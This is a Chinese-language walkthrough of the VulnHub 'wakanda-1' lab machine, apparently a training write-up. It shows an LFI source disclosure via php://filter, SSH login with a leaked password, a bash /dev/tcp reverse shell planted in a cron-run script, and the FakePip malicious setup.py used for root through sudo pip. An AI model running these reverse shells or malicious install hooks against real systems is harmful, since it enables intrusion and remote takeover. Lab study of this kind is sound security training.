vulnhub系列：wakanda-1

vulnhub系列：wakanda-1

靶机下载

一、信息收集

nmap扫描存活，根据mac地址寻找IP

nmap 192.168.56.0/24

nmap扫描端口，开放端口：80、111、3333、52890

nmap 192.168.56.101 -p- -A -sV -Pn

dirb扫描目录，存在admin、backup等目录

dirb http://192.168.56.101/

访问80端口，没什么发现

f12查看源码，发现一个参数

贴到url中，发现变成了法语

可能存在文件包含，尝试读取网站源码

?lang=php://filter/convert.base64-encode/resource=index

得到网站源码

PD9waHAKJHBhc3N3b3JkID0iTmlhbWV5NEV2ZXIyMjchISEiIDsvL0kgaGF2ZSB0byByZW1lbWJlciBpdAoKaWYgKGlzc2V0KCRfR0VUWydsYW5nJ10pKQp7CmluY2x1ZGUoJF9HRVRbJ2xhbmcnXS4iLnBocCIpOwp9Cgo/PgoKCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iPgogICAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlZpYnJhbml1bSBtYXJrZXQiPgogICAgPG1ldGEgbmFtZT0iYXV0aG9yIiBjb250ZW50PSJtYW1hZG91Ij4KCiAgICA8dGl0bGU+VmlicmFuaXVtIE1hcmtldDwvdGl0bGU+CgoKICAgIDxsaW5rIGhyZWY9ImJvb3RzdHJhcC5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgCiAgICA8bGluayBocmVmPSJjb3Zlci5jc3MiIHJlbD0ic3R5bGVzaGVldCI+CiAgPC9oZWFkPgoKICA8Ym9keSBjbGFzcz0idGV4dC1jZW50ZXIiPgoKICAgIDxkaXYgY2xhc3M9ImNvdmVyLWNvbnRhaW5lciBkLWZsZXggdy0xMDAgaC0xMDAgcC0zIG14LWF1dG8gZmxleC1jb2x1bW4iPgogICAgICA8aGVhZGVyIGNsYXNzPSJtYXN0aGVhZCBtYi1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8aDMgY2xhc3M9Im1hc3RoZWFkLWJyYW5kIj5WaWJyYW5pdW0gTWFya2V0PC9oMz4KICAgICAgICAgIDxuYXYgY2xhc3M9Im5hdiBuYXYtbWFzdGhlYWQganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBhY3RpdmUiIGhyZWY9IiMiPkhvbWU8L2E+CiAgICAgICAgICAgIDwhLS0gPGEgY2xhc3M9Im5hdi1saW5rIGFjdGl2ZSIgaHJlZj0iP2xhbmc9ZnIiPkZyL2E+IC0tPgogICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvaGVhZGVyPgoKICAgICAgPG1haW4gcm9sZT0ibWFpbiIgY2xhc3M9ImlubmVyIGNvdmVyIj4KICAgICAgICA8aDEgY2xhc3M9ImNvdmVyLWhlYWRpbmciPkNvbWluZyBzb29uPC9oMT4KICAgICAgICA8cCBjbGFzcz0ibGVhZCI+CiAgICAgICAgICA8P3BocAogICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2xhbmcnXSkpCiAgICAgICAgICB7CiAgICAgICAgICBlY2hvICRtZXNzYWdlOwogICAgICAgICAgfQogICAgICAgICAgZWxzZQogICAgICAgICAgewogICAgICAgICAgICA/PgoKICAgICAgICAgICAgTmV4dCBvcGVuaW5nIG9mIHRoZSBsYXJnZXN0IHZpYnJhbml1bSBtYXJrZXQuIFRoZSBwcm9kdWN0cyBjb21lIGRpcmVjdGx5IGZyb20gdGhlIHdha2FuZGEuIHN0YXkgdHVuZWQhCiAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICB9Cj8+CiAgICAgICAgPC9wPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgIDxhIGhyZWY9IiMiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1zZWNvbmRhcnkiPkxlYXJuIG1vcmU8L2E+CiAgICAgICAgPC9wPgogICAgICA8L21haW4+CgogICAgICA8Zm9vdGVyIGNsYXNzPSJtYXN0Zm9vdCBtdC1hdXRvIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICA8cD5NYWRlIGJ5PGEgaHJlZj0iIyI+QG1hbWFkb3U8L2E+PC9wPgogICAgICAgIDwvZGl2PgogICAgICA8L2Zvb3Rlcj4KICAgIDwvZGl2PgoKCgogIAoKPC9ib2R5PjwvaHRtbD4=

解码后得到密码

Niamey4Ever227!!!

80端口没发现什么功能点，尝试ssh登录，网站首页发现一个可能作为用户的字符串

二、getshell

尝试ssh连接

ssh mamadou@192.168.56.101 -p 3333
Niamey4Ever227!!!

成功连接，但是shell是python的

切换到shell

import os
os.system("/bin/bash")

flag 1

查看当前目录，发现flag文件

三、提权

查看当前权限，查看内核版本，没有找到合适的提权方式

sudo -l
uname -r

在passwd中发现另一个用户 devops

cat /etc/passwd
devops

进入 devops目录，发现flag文件，但是没有权限

搜索其所属文件

find / -user devops 2>/dev/null

发现 /srv/.antivirus.py 文件会将内容写入到 /tmp/test 中

open('/tmp/test','w').write('test')

将内容修改一下，尝试执行反弹shell

import os
os.system("echo 'bash -i >& /dev/tcp/192.168.56.102/4444 0>&1'|bash")

kali开启监听

nc -lvnp 4444

执行发现没有权限，但是等了一会自己弹到了，应该是有计划任务在定时执行

flag 2

成功反弹shell，查看第二个flag文件

查看当前权限

sudo -l

pip可以执行

网上搜了下exp，在创建一个setup.py，在其中写入

from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.56.102' 
 
    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

开启临时web服务，将其下载到 /tmp 目录中

kali开启监听

nc -lvnp 7777

靶机执行命令，成功反弹shell，提权成功

sudo /usr/bin/pip install . --upgrade --force-reinstall

flag 3

在 /root/root.txt 发现最后的flag